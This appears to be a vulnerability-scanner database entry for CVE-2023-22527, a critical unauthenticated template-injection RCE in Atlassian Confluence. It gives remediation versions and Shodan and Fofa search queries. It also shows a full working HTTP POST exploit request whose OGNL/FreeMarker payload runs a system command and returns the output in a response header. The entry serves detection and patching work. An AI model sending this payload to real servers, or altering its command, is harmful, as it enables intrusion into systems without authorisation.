| Title | Atlassian Confluence - Remote Code Execution |
|---|---|
| Author | iamnooob,rootxharsh,pdresearch |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit template injection in the text-inline.vm endpoint to execute arbitrary system commands on Confluence servers and completely compromise Atlassian Confluence installations. |
| Remediation | Update Atlassian Confluence Data Center and Server to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that mitigates the template injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94363 |
| CVE ID | CVE-2023-22527 |
| CWE ID | CWE-74 |
| Shodan Query | http.component:"Atlassian Confluence"http.component:"atlassian confluence" |
| Fofa Query | app="atlassian-confluence" |
| Tags | packetstorm cve cve2023 confluence rce ssti kev atlassian vkev vuln |
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
POST /template/aui/text-inline.vm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Content-Length: 303
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22527.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22527.pcap
N/AN/A